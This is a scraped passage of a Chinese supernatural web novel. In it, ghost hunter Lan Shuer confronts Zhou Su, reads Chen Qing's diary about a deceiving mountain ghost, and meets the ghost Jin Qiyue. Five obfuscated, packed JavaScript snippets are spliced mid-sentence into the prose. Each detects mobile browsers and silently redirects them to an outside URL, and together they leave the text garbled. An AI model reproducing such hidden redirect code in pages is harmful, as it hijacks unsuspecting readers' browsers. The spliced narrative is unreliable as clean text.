连砍两刀,大树流出了血。 大树大骇,“喂,你听我说话了吗?” “没听到。”兰殊尔冷冷地说,并再砍一刀。 “我跟你说,爱真的很美妙。” “不美妙。” “你是钢铁直男吗?”大树破防。 兰殊尔毫不犹豫地又砍了一刀! 这一刀砍到大树的大动脉了,大股鲜血从树干中喷涌而出。 与此同时,二楼传来一个男人因痛苦发出的叫声。 兰殊尔一愣,他这几刀,好像不止砍在这棵怪树上,还砍在了另一个人身上。 兰殊尔望了一眼声音传来的方向,暂时放弃砍树,迅速跑上二楼,准确地找到走廊尽头的一个房间,推门而入。 一股鲜血流到了兰殊尔脚下。 房间有扇窗,兰殊尔看到一个年轻男人坐在窗下,他捂着腰,腰上鲜血直流,那些鲜血在地上汇成一股溪流,流到门口。 场面可怕,但兰殊尔很淡定,他打量这个年轻男人,稍微想了想,便猜出了男人的身份。 陈青年纪大了,这人这么年轻,肯定不是陈青。 “你是周夙?”兰殊尔问。 周夙瞥了一眼兰殊尔,艰难出声:“兰殊尔?” “你认识我?” “你不是演过戏吗?” “也是。” 两人都不是擅长聊天的人,聊了两三句就开始冷场。 兰殊尔走近周夙,蹲在他面前,观察了一下他的状态,冷淡地说:“你要死了。” 周夙看起来很虚弱,腰上流的血愈来愈多。 “左轻白已经把我的来历告诉你了是吗?”周夙问。 兰殊尔点点头,他看了一眼周夙腰上的伤,道:“我本应该救你,但考虑到你是个已经投靠了恶鬼的捉鬼师,留着反而后患无穷,所以,你还是死吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369085|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他说完,立即举起一把金色手枪,指着周夙的脑袋。 兰殊尔冷冷地说:“不过在你死之前,你最好告诉我,这一切到底是怎么回事?还有陈青在哪里?” 周夙垂头,天人交战了许久。 “我本不该理你的。”周夙说,“她让我做的事,无论如何我都应该做到;她想做的事,无论如何我也应该帮她做到。” “她”毫无疑问指的是金绮月。周夙对金绮月的感情已经到了疯魔的程度。 “可是……”周夙那张阴郁的脸露出了纠结犹豫的表情,“如果今晚这事成了,悼青山周围的七个镇都会覆灭,很多人会死。我到底是个捉鬼师。” “你还记得你是个捉鬼师啊?你要是还记得你是个捉鬼师,那就老老实实告诉我事情的原委。”兰殊尔冷道,“下面那棵树是怎么回事?” “我跟那棵树共体了。”周夙捂着腰,说。 “知道,不然我砍它能砍到你身上?树是金绮月让你带来的?”兰殊尔问。 周夙摇头,“她让我带来的只有一盒黑泥,让那棵树生根发芽的种子……是陈青。” “什么?陈青让那棵树生根发芽?什么意思?”兰殊尔没听懂。 “陈青就是那颗种子。种子落入黑泥,变成了树;我跟树共体后,又给树的生长提供了养料。” 兰殊尔越听越古怪,“陈青不是个人吗?怎么会变成种子?” 人变成了一颗种子,这事越听越匪夷所思。 “三十年前陈青带领考古队进入悼青山,整队人全军覆灭,仅剩陈青一人幸存。陈青虽然九死一生逃出了悼青山,但逃出来的时候,他已经被山里的某个东西寄生了。” 说到这,周夙用下巴指了指一旁的储物柜,虚弱地对兰殊尔说:“柜子上有一本陈青的日记,记录了陈青在悼青山里遇到的事情,我也是看了他的日记,才知道原委,你也去看看吧。” 兰殊尔从储物柜里找到了陈青的日记,日记本有些年头了,封面已经发黄。 兰殊尔翻开了日记。 106. 腿都软了 从古代到近代,数百年来,悼青山一直都是苦命鸳鸯们的殉情圣地,所以悼青山还有一个别名,叫“深情冢”。 深情冢深情冢,深情的人死在了里面,变成了无情的鬼。 不过渐渐的,随着时代的发展,自由恋爱代替了包办婚姻,殉情的情侣愈来愈少,“深情冢”这个别名逐渐被人忘记了。 三十年前,悼青山。 一队考古队来到了这里,领头的人叫陈青,是个年轻的博士。 一开始,陈博士斗志昂扬,他坚信悼青山里藏着比玛雅文明还要震撼的古文明,他认为这次进山考古一定会成为考古史上浓墨重彩的一笔。 这不是第一支进山的考古队,不久前也有一支同单位的考古队进山,结果全军覆没、全员失踪,陈青这支队伍是第二支。 有了前车之鉴,这支队伍行动很严谨,队伍每个人不允许单独行动,队伍每间隔一段时间就会向总部报告位置。 可即便有着严谨的行动安排,这支考古队依然失踪了,跟第一支考古队一样。 夜晚的悼青山像一个侧卧的巨人,巨人腹中,陈博士孤身一人,慌不择路地逃亡。 整支队伍就剩他一个人,其余的人都失踪了,原因是队员们无一例外的在山中听到了自己爱人的声音,他们有的欣喜若狂,有的黯然神伤,有的甚至眼眶一热差点流泪,但不论是什么心情,他们在听到声音后都回头了,一回头,人就会被拖走,再也不见踪影。 只有陈青没被拖走,因为他没有爱人,所以听不到什么爱人的声音。陈青只听到背后传来一种不似人声的诡异声音,这种声音让陈青感到恐怖,既然感到恐怖,又怎么会回头?于是陈青躲过一劫。 在身边的队友全部消失后,陈青慌了,他举着手电、背着背包在山里奔跑,可跑啊跑,却怎么也找不到出山的路,跟外界联系的信号也断了,这座山仿佛把陈青吞噬了。 慌乱中,陈青歪打正着地找到了藏在山里的古墓。 古怪的是,古墓外围有人拉了线,还架起了照明灯,有人来过了。 照明灯下随意地放着一个背包,背包跟陈青的背包一模一样,这个背包是单位统一发的,有这个背包的基本都是陈青的同事。 陈青一愣,心想有考古队的人在?是上一支失踪的队伍?还是自己走散的那些队员? 抱着怀疑,陈青下了墓。 因为有人提前一步来过,所以下墓的路已经被开出来了,陈青走得很顺畅。 墓室里灯火通明,有人在这里架起了照明灯。借着照明灯的光亮,陈青看到了墓室中的壁画,壁画上画着一个又一个独眼羊,独眼羊栩栩如生,仿佛都在看着陈青。 作为一个考古狂魔,陈青一下就激动了。 “图腾!这一定是某个古老部落的图腾!”陈青惊喜得差点跳起来,“这些壁画保存得这么完好,难得,太难得了!” 陈青没谈过恋爱,兴趣也不算广泛,能让他如此欣喜若狂的就只有考古和做研究。 陈青继续往前走,忽然,前方出现了几个人影,居然是刚刚在山里失踪的队员们。 这些人都是陈青的队员,见到陈青,他们热情地跟陈青打招呼:“陈博士好。” 陈青惊讶地张大嘴,问:“你们怎么……” 一名队员笑道:“陈博士,你掉队了。说好不要单独行动,你自己倒是一晃眼不知道跑到哪去了。” 另一名队员也说:“是啊,陈博士,幸好你找到这里来了,不然大晚上的一个人在山里,遇到野兽怎么办?” 大家纷纷附和,就连陈青自己都迷糊了,心想:怎么回事?难道真的不是他们失踪,而是我走散了? 一人对陈青说:“陈博士,快别发呆了,过这边来看看。这次进山太值得了,我做个预言,我们这次考古,能震惊世界!” 陈青走了过去,原来这人找到了放置棺椁的椁室,椁室很大,放着十几具棺椁,棺椁上绘着繁复的图案。 陈青赞叹道:“太美了!从这些图案可以看出,当时的绘画技艺相当纯熟,艺术水平也令人惊叹。” 那人又带陈青去了另一个墓室,这个墓室确切来说不能叫墓室,而是一个殉葬坑。 几具白骨裸露了出来,那人指着白骨说:“这是殉葬者的白骨,看他们的头骨,陈博士,你发现什么了吗?” “人有两个眼睛,正常人类的头骨有两个眼眶,而这些头骨……都只有一个眼眶。”陈青说。 那人点头道:“没错,所以我们可以认为,悼青山里曾经生活着一群奇特的人种,或者说民族,叫做独眼人,壁画上那些独眼羊,就是他们的民族图腾。” “一只眼睛的人,是什么原因导致他们进化成这样?太神奇了,真是伟大的发现!”陈青连连惊叹。 陈青开始指挥考古工作,但他发现,他的队友好像都有些笨手笨脚的,许多操作甚至很不专业。 不专业的操作很容易导致文物被破坏,陈青快气死了,连忙喊道:“注意保护措施!注意保护措施!墓穴的保护工作一定要做好!这些都是宝贵的文物!大家都小心一点!” “知道了,陈博士!”队员们纷纷回应。 “地图画了没有?”陈青问。考古绘图是考古工作的重要一环,遇到墓穴,考古人员需要把墓穴地图绘制出来。 队员们回答:“还没画。” 一个年轻队员主动放下手中的事,说:“我来画吧。” 陈青道:“你忙你的,我来画。” 陈青担起了绘制墓穴地图的工作,他需要从墓穴口开始绘制,于是,陈青从背包里掏出纸和笔,走到墓穴口。 绘制地图要精细,必须经过实地勘测后再绘制。陈青正在勘测墓穴口的结构,就在这时,一只手从墓穴外伸了进来,伸向陈青。 这只手一点都不可怕,相反,这只手非常美,手指修长,柔弱无骨,光滑细腻。 这是个女人的手,大概率是个美女。 陈青对女人不感兴趣,他只对考古和做研究感兴趣,但此时,他也不知道是中了什么邪,竟然神使鬼差地伸出了手,握住了从外面伸进来的那只手。 那只手一用力,明明是只女人的手,却力大无穷,竟然一下就把陈青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389747|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽了出去,拽出洞口,甩在了地上。 陈青摔了个屁股蹲,心想这人力气怎么这么大? 此时陈青被拉出了墓穴,他坐在地上,周围是原始森林。 一个女人的笑声传来,陈青转头一看,一个年轻姑娘站在他身后。 姑娘扎着两个麻花辫,穿着碎花小袄,像是村姑的打扮,但以她这相貌,即便是村姑,也是村花级别的。姑娘的眼睛亮亮的,像天上的星星。 陈青有些害怕,他问:“你……你是附近的村民,还是,还是……” 陈青想问“还是鬼”,但他没问出来。 姑娘蹲在陈青面前,笑道:“你怕我是鬼?哈哈,怎么可能!我是附近的村民。你叫我小颖就可以了。” 陈青松了口气,担心道:“大晚上的,你怎么一个人在山里?” 小颖耸耸肩,说:“一个人在山里怎么了?我们土生土长的山里人,没你们城里人这么矜贵,山里过夜,常有的事。” 陈青皱眉道:“还是太危险。这样吧,你跟我们在一起,结个伴,互相有照应。” “外面冷,你手都是凉的,进来呆一会。”说着,陈青想把小颖带进墓里。 小颖赶紧拉住他,慌张地说:“你还想进去啊?我刚救你一命,你还想进去送死?不能进。” “为什么?” 小颖指着墓穴说:“里面是不是有人?” “都是我队友。我们是考古队的,不是坏人,不用怕。” “我说错了,那些不是人,是鬼。” “你说什么?”陈青头皮发麻。 “你刚才跟一群鬼在同一个墓穴,居然一点都不怕,心真大。” “你别开玩笑了。” “没跟你开玩笑,真的都是鬼。” “那是我队友。” “你队友早就被山里的鬼杀了、吃了,它们吃掉你队友的血肉,剥下你队友的人皮,披在身上,成了你队友的模样。”小颖说。 见陈青还不相信,小颖急得跺脚,她说:“哎呀,你怎么这么木啊!你仔细想想,你那些所谓的队友,有没有什么不对劲的地方?” 陈青后知后觉地想到了一件事:“有,我队友都是有经验的考古工作者,但刚才在墓室里,却表现得笨手笨脚。” 小颖一拍手,说:“这就对了嘛!因为他们根本不是你队友,而是披着你队友皮的鬼!” 小颖又道:“你要是还不信,就跟我一起埋伏在外面,他们发现你不见了,就会出来找你,顺便把人皮脱下来透透气,你一会看着就是了。” 陈青跟小颖一起藏在了一个土堆后面。 墓穴外有照明灯,所以陈青能够清楚地看见,果然有个队员出来找他。这个队员姓张,大家叫他小张。小张四处张望,没看到陈青,他挠了挠头,感到很疑惑。 小张伸了个懒腰,扭了扭脖子,突然,他把手伸到后脑勺,从后脑勺的位置开始撕扯,撕扯着撕扯着,他身上的人皮一点一点脱了下来,像脱皮套一样。人皮下面是一只面目狰狞的鬼。 藏在土堆后面的陈青登时腿都软了。 107. 在背后叫我 小颖拉着陈青,两人仓皇而逃。 陈青虽然很害怕,但还是边跑边说:“文物,文物怎么办?” 小颖骂道:“你呆啊你,这时候保命要紧!” 少女柔软细腻的手紧紧拉着陈青的手,这是陈青长这么大以来第一次拉女孩的手,这种奇妙的触感使得陈青心神一荡,竟有些不舍得放开。 黑夜过去,黎明到来,两人手牵着手在森林里狂奔了一路。小颖跑累了,她放开陈青,手撑膝盖,气喘吁吁地说:“不行了,我跑不动了。” 陈青的手一空,竟然觉得心里也一空。 黎明的第一束光穿透林间,落在小颖身上,陈青眼帘中映入少女那红苹果一样的脸蛋,和她额头上因跑步出现的汗珠,蓬勃而富有生命力。 少女看见陈青在发呆,笑了一下,说:“你发什么呆?城里人都像你这么呆吗?” 她这一笑,如朝阳刺破乌云,在这恐怖的森林里,陈青仿佛被照亮了。 陈青懵懵懂懂地心动了一下。 小颖环顾四周,说:“完了,咱们迷路了。”但她并没有因此消沉,而是大大咧咧地说:“我饿了。” 陈青赶紧从背包里拿出压缩饼干,递给小颖。 小颖咬了一口,说:“这就是你们城里人吃的东西?味道真一般。我想吃野兔。” “哪有野兔?”陈青问。 “我能抓来,你会烤吗?” “会。”陈青会烤东西,而且烤得很美味,野外作业的时候基本都是他当大厨烤给大家吃。 小颖高高兴兴地抓来了兔子,陈青架起了火,他的背包里什么都有,不光有打火机,连盐都有。 陈青烤的时候,小颖就坐在他身边,坐得很近,直直盯着他看,陈青也不知道自己怎么了,被她看得心脏直跳。 为什么以前别的女同志看我的时候,我不会有这样的感觉?陈青在心里想。 小颖忽然对陈青道:“其实你长得挺好看的,挺干净。” 不知为何,陈青烤野兔的手变得很僵硬。 小颖又问:“你有老婆没有?” 陈青一怔,连忙摇头。 “女朋友呢?” 陈青还是摇头。 小颖奇怪道:“不可能啊,你条件这么好,怎么还是个光棍?” “我对搞对象……没兴趣。” “别人都有兴趣,怎么就你没兴趣?” “我……” “你就不好奇为什么别人对搞对象这么有兴趣?搞对象到底有什么魔力?” “不……” “你不好奇我好奇。”小颖突然挽上陈青的手,说:“我也没搞过对象,我也不知道这里面有什么乐子。”她环视一周,叹了声气,“咱们在山里迷路,要做好最坏的打算,最坏的打算就是咱们可能都会死在山里。你就不想在活着的最后几天体验一把搞对象是什么感觉?” 陈青的脸“唰”的一下全红了,从脖子红到耳尖。他不敢看小颖,但尽管他没看小颖,小颖那张笑脸也依然不受控制地在他脑中浮现。 陈青的心脏跳得很快,他感受到了喜悦和期待,跟工作上取得成就的喜悦不同,这种喜悦更像是一把火烧着他焦灼的心。 陈青脱口而出:“如果你愿意的话,我……” 小颖格格笑道:“我说我要跟你搞对象了吗?” 陈青的火仿佛被浇灭了,失望道:“啊?” 小颖抚掌大笑,“当然是我跟你啦!难道这里还有别人吗?”小颖拉起陈青的手,“反正我俩都没有搞过对象,就当是死之前弥补一下遗憾,玩玩呗。” 陈青严肃地说:“这怎么能玩?要负责任的。” “我又没让你负责。” “可……我想负。只要我们走出这座山,我就去你家提亲。” 小颖随意地耸耸肩,幽幽地说:“可是,没有几个人能走出这座山。” 接下来的几天,他们一边在森林里生存,并继续找出去的路,一边体验做情侣的滋味。 陈青也不知道这样对不对,但他知道自己喜欢小颖。 单身了这么多年的陈博士在短短几天内开了窍,他终于理解了为什么身边的人总是会义无反顾地一头扎进感情中去。爱情的滋味真好,好到迷人心智,甚至让人丢掉脑子。 也不知道过了几天,有一天晚上,陈青一手拿着手电筒,一手牵着小颖,继续找路,忽然,陈青在一棵大树的树枝上找到了一个红袖章。 陈青取下红袖章,激动得手抖,他开心地抱起小颖,原地转了几圈,笑着对小颖说:“我们能出去了!我们能出去了!” 陈青把小颖放下,解释道:“这个红袖章是我进山时挂在树枝上的,找到这个红袖章,就说明我们离走出森林不远了。” 陈青指着树枝朝向的方向说:“就朝这个方向一直走,一个小时内,我们能走出去。” 小颖幽幽地说:“是啊,不远了。你走吧,我不走了。” 陈青奇道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403122|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么?” 他发现小颖脸色疲惫,以为小颖这几天赶路赶累了,他很心疼,便蹲在小颖跟前,对小颖说:“你一定是太累了,来,你上来,我背你出去。” 小颖却迟迟不上陈青的背,过了一会,陈青听到身后传来抽泣声,小颖哭了。 陈青心里一慌,连忙站起来,温柔地捧起小颖的脸,揪心地问道:“你怎么了?怎么哭了?” 小颖不说话,只是哭。 “是我做错什么了吗?”陈青只好哄她。 小颖哭着摇头。 陈青又着急又心疼,一边哄一边问她“怎么了”。 “你一个人走吧。”小颖说。 “我怎么可能抛下你?”陈青急道。 “你还不明白吗?”小颖突然停止哭泣,那张脸毫无预兆地一变,变得阴森森的。 陈青被小颖突如其来的变脸吓了一跳,问:“明白……什么?” “你们会来这里,是不是因为一个相机?” “是,那是第一支队伍留下的相机。” 第二支考古队之所以坚定要来,是因为第一支考古队留下了一个相机,相机中的照片显示悼青山里有非常值得挖掘的考古遗迹。 “相机是我送出去的,至于第一支队伍,早就死光了。”小颖幽幽地说。 陈青登时毛骨悚然,“你说什么?” “我把相机送出去的目的,是吸引第二支队伍来,也就是你们,因为山里实在没有口粮了啊。” 小颖步步向前,陈青步步后退。 小颖继续说:“果然,第二支队伍来了。第二支队伍除了你,也全都死了。只有你,听到声音不回头,所以才活到现在。” 小颖痴痴地伸出手,抚上陈青的脸,“你不回头,悼青山就留不下你。不过没关系,不会回头,我教你回头。” 小颖用蛊惑的声音对陈青说:“你走吧,一直往前走。” 陈青愣了半晌,他看着这个在过去的几天里与他亲密无间的爱人,他想起这几天两人甜蜜的互动,在寒冷的夜里互相依偎、互诉衷肠,他以为他找到了灵魂伴侣,他以为突然闯入他的世界的小颖是上天给他的礼物,没想到只是个骗局。 陈青绝望地笑了一声,他忽然变得很放松,他问小颖:“我一直往前走,你就一直在背后叫我,叫到我回头为止,是吗?” 一向温文尔雅的陈青突然怒吼一声,大声质问:“有意思吗?” 小颖嘻嘻笑道:“有意思。” 108. 这个部落很有趣 陈青看了小颖足足半分钟。 突然,他绝望地笑了一声,从包里掏出一把小刀,他举着小刀,刀尖向着自己的喉咙,捅了下去! 关键时刻,小颖伸出手,牢牢握住了陈青的刀。 刀刃划破小颖的手掌,但小颖一滴血没流。 小颖奇怪地问:“你为什么要自杀?” “我死了不就随了你的意了吗?”陈青露出古怪的表情,深吸一口气,问小颖:“如果我因此死了,你这只山鬼,日后还会想起我吗?” 小颖格格笑道:“我不是山鬼。” “你会想起我吗?哪怕一点?”陈青迫切想知道答案。 陈青是个执着的人,以前他对做研究很执着,如今喜欢上了一个人,他就对这个人很执着。 有的人就是这么一根筋。 小颖眼珠子骨碌一转,她表情一变,变得十分哀怨,她用充满爱意的眼神看着陈青。 “你感动到我了。”小颖说,“我的任务是在山里害人,可你今天感动到我了,我不想害你。” 小颖把陈青的刀拿开,扔到一旁,期待地问:“你能带我走吗?” 陈青拒绝不了小颖的眼神。“你愿跟我走吗?”陈青问。 “我不是不愿,我是走不了。你能救我吗?” “我要怎么救你?”陈青心里升出一种类似救世主的责任感。 就在这时,一颗种子从树上落下来,钻进了陈青的脖子里,陈青感到后颈刺痛,但很快刺痛感就过去了。 小颖走到陈青身旁,在陈青耳边吹气如兰,她说:“等我三十年,三十年后我来找你。”她哀怨道:“只要有一个人能等我三十年,我就能离开悼青山,可从始至今没有任何一个人能做到,你能吗?” “我能。”陈青下了诺言。 “说到做到哦。”小颖微笑道,“我会一直陪着你的,每天晚上,我都会来入你的梦。” —————————————— 兰殊尔合上日记,道:“是那颗种子,陈青离开悼青山时,被一颗种子寄生了,三十年后种子吃掉了宿主,也就是陈青,所以陈青变成了种子。” 周夙说:“离开悼青山后,陈青在悼青山附近等了小颖三十年,这三十年里,陈青还坚持考古研究,他几进悼青山,专注研究独眼人部落的历史文化,他写了几本著作,都在柜子里。这些年原单位的人不是没有找到他,但他以做研究为名,固执地留在这里。” 兰殊尔找到陈青手写的考古书籍,书名叫《独眼人部落文化研究》。兰殊尔说:“真的有独眼人部落?这些书对于考古界来说一定非常珍贵吧?” “陈青是个做研究的好手,他不仅研究独眼人部落的历史,他还研究出了那颗种子的来历。那颗种子,是悼青山的种子。” “我只听说树有种子,山怎么也有种子?” “种子成树,树成林,林成山。看见下面那棵怪树了吗,它会越来越多,大量怪树聚在一起,又一个悼青山原始森林不就出来了吗?”周夙说。 周夙接着说:“对了,悼青山快爆炸了。原来那个悼青山快爆炸了,而新的悼青山长出来了。” “你也知道这事啊。”兰殊尔说。兰殊尔好奇道:“为什么只有陈青能当悼青山种子的宿主?” “寄生在陈青身上的种子,需要一个人对另一个人至少三十年不间断的爱意,才能一直长到吞噬宿主的程度,很少有人能这么执着,陈青是一个。” 兰殊尔指了指周夙身上的伤,问:“那你又是怎么回事?” 周夙哈哈大笑,用一种近乎绝望的语气说:“种子吞噬宿主后,想要长成大树,还需要两个条件,一是一捧聚集着鬼气的黑泥,二是一个用血肉为它提供养分的共生体倒霉蛋。” 周夙继续笑,边笑边说:“聚集着鬼气的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418272|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥,我带来了;而那个倒霉蛋,就是我。” 兰殊尔“哦”了一声,说:“你被你投靠的那个恶鬼牺牲了。她对你真是半分情分都没有。” 周夙低下头,摁住自己腹部的伤口,黯然说道:“如果我因此死了,不知道她日后会不会想起我。” 兰殊尔震惊道:“你怎么跟陈青的想法一模一样?你们都魔障了吗?你们所谓的爱,就是上赶着被虐待吗?” 周夙绝望地闭上眼。 “我真羡慕你。”周夙说。 “羡慕我什么?”兰殊尔问。 “不经历感情,就能永远快乐。” 兰殊尔摆出一个头大的表情,“我受不了了。” 兰殊尔问周夙:“你有没有想过那个小颖跟你投靠的恶鬼是同一个?” 周夙摇摇头,“我不知道。” “她以玩弄人为乐,她骗了陈青,也骗了你。” “她没有骗我什么,我是自愿的。”周夙说。 “随便吧。”兰殊尔摊开手,“先不说这个,现在你的问题怎么解决?” “不用急着救我。”周夙说,“我虽然看起来很惨,但一时半会死不了。你先把悼青山的问题解决,不出意外的话,悼青山今晚就会爆炸,爆炸将波及周围。你把悼青山的问题解决了,再回来救我也不迟。” 说着,周夙耸耸肩,笑道:“当然,要是不想回来救我,那也没什么大不了的。” “我现在就进山跟左轻白回合。”兰殊尔说。 “等等。”周夙道,“把陈青写的那几本《独眼人部落文化研究》带上,我估计这会左轻白在山里正忙得焦头烂额,这些书能帮上你们的忙。” “考古研究的书,能帮上什么忙?”兰殊尔问。 “独眼人部落灭绝前跟悼青山里那些情鬼共同生活了很久很久,所以你不觉得这个部落很有趣吗?”周夙神秘兮兮地说。 109. 超脱世间 兰殊尔进入悼青山,悼青山里没信号,但他通过血符定位到了左轻白的位置,朝左轻白的位置狂奔过去。 在悼青山里,兰殊尔也听到了那些吸引他回头的声音,兰殊尔这人简单粗暴,摆着一张冷峻的冰山脸,山里的鬼来一个杀一个,来一对杀一双,压根不给它们说话的机会,耿直到可怕。山里的情鬼见突然闯进来这么一尊杀神,纷纷躲开了,哪还敢靠近。 兰殊尔没有爱人,没受过情伤,在悼青山里简直无敌,这山就该他来。 杀了几波鬼后,兰殊尔累得气喘吁吁,他自言自语道:“不行啊,山里鬼太多了,一晚上怎么杀得完?” 兰殊尔喘了会气,继续往前走。 林间大雾弥漫。 大雾中,前方隐隐约约出现了一个女孩的身影,同时血符显示左轻白就在附近。 兰殊尔以为前面那女孩是左轻白,便快步走过去,边走边问:“左轻白?是你吗?怎么只有你一个?” 女孩的轮廓愈来愈清晰,她穿的不是普通的衣服,而是一身华丽的高奢礼服,这身礼服应该出现在领奖台上,不该出现在山林里。 兰殊尔察觉不对,他点起照明符,看前面的人是谁。 照明符如明灯亮起,女孩转过身,一张精致得像洋娃娃一样的脸出现在兰殊尔眼前。 兰殊尔大吃一惊,他条件反射地举起手中的金色手枪,扣动扳机,果断朝女孩开了一枪! 这把枪的子弹是特制的,对鬼来说是致命武器,但女孩不怕,她居然轻轻巧巧地用手抓住了子弹,并碾成灰烬。 女孩浑身散发着浓重的鬼气,一张脸明明精致得像洋娃娃,却让人感到非常可怕。女孩阴沉沉地笑了一声,她抽出一把鬼鞭,朝兰殊尔打去。 鬼鞭如雷霆,幸好兰殊尔身手敏捷,他往地上一滚,躲过一鞭。 那女孩哈哈大笑,仿佛看见了有趣的猎物,她还想继续攻击兰殊尔,就在这时,一把金色巨剑突然从天而降,插在地上,挡在女孩跟前。 接着,左轻白也从天而降,左轻白一脚踩在金色巨剑的剑柄上,整个人立在剑上。 女孩惊喜道:“小若姐姐!” 这个女孩就是金绮月,也是今晚的金狮奖影后。金绮月刚从颁奖典礼上下来,连礼服都没来得及换。 兰殊尔从地上起来,举起他的金色手枪,枪口对准金绮月,但不敢轻易开枪。 现在这阵仗,两个捉鬼师对一个女孩,两个捉鬼师占下风。 金绮月看了看两人,朝左轻白露出受伤的表情,说:“小若姐姐,你要跟他一起对付我吗?” 金绮月突然一伸左手,从一旁的树后面抓出来一只小鬼,金绮月在左轻白面前亲手把那只小鬼捏碎,对左轻白说:“小若姐姐,你喜欢杀鬼,你杀就是了,我不光不阻拦,我还会把它们绑到你面前让你杀。”这是实话,金绮月并不在乎别的鬼,鬼的世界同类相残,鬼与鬼之间是竞争关系,互杀很正常。金绮月又说:“但你只能杀别的鬼,你不能对付我,尤其不能跟别人一起对付我。” 左轻白从金色巨剑上跳下来,她转头看了兰殊尔一眼,见兰殊尔用古怪的眼神看着自己,她朝兰殊尔使了个眼色,告诉他这事以后解释。 左轻白为难道:“绮月,我从来没有想过跟你作对,可我这一世的身份是捉鬼师。” 金绮月撇了撇嘴,说:“那就别当了嘛,跟我一起当鬼,当鬼多自在。” 这时兰殊尔这个大直人忍不住上前一步,愤怒道:“是啊,当鬼自在,随意害人能不自在吗?” 或许是因为左轻白在场,看在左轻白的面子上,金绮月并没有立即对兰殊尔动手,而是心平气和地问他:“我害谁了?” “陈青和周夙。如果我没猜错的话,陈青三十年前认识的那个小颖就是你吧,你披了小颖的人皮,变成了小颖;还有周夙,他心里眼里都是你,恨不得把心捧到你面前,可你却毫不犹豫地把他祭献出去,让他去送命!”兰殊尔声讨金绮月。 兰殊尔替陈青和周夙问:“他们怎么对你的你心里清楚,你对他们就没有一点感情吗?” 金绮月露出看傻子一样的表情,用冰冷而讽刺的眼神看着兰殊尔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429174|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“神经,我又不是人,要有什么感情?” 金绮月把目光移向左轻白,看向左轻白时她的眼神显然温和了许多。 金绮月提起礼服裙摆,踮起脚尖,用轻快的脚步跑到左轻白跟前,一脸天真烂漫地对左轻白说:“姐姐,我不是人。” “我知道你不是人。”左轻白说。 金绮月笑着,忽然她转了一个圈,像跳舞似的,她今天穿的礼服转起圈来特别美。 “我虽然不是人,但我披过各种各样的人皮,扮演过形形色色的角色,比人还要了解人。” 金绮月又转了半圈,继续道:“当人有什么好呀?当女人,相貌身材被人指点挑剔;嫁个丈夫,人家把你当妈,要你伺候;丈夫事业不佳,怪你;孩子不行,怪你;公婆出事,也怪你。” 金绮月再转了半圈,一眨眼的工夫,她就换上了另一张人皮,这是一张男人的皮,男人看起来愁眉不展。 披着男人人皮的金绮月说:“当男人,穷,被人戳着脊梁骂;弱,被人戳着脊梁骂;矮,被人编排笑话。干不出大事业的都是孬种,可干得出大事业的有几人啊?” 金绮月把人皮一撕,又迅速换了张新人皮。 “那就干一番大事业吧,皇帝够不够大?我又不是没当过。可是累啊,凌晨四点就要上朝,批折子批到手都酸。” 金绮月说着,再把人皮一换。 “当富商?万贯家财不需要操心吗?要的呀!殚精竭虑就为那些破铜板?” 金绮月换回了她自己的人皮。 金绮月呼吸了一口山间的空气,放松地说:“当人不好,当鬼也有许多局限。我不当人,我也不是普通的鬼,我是独一无二的金绮月。” 金绮月在林间张开双臂,那姿态仿佛已经把世界掌握在手中。 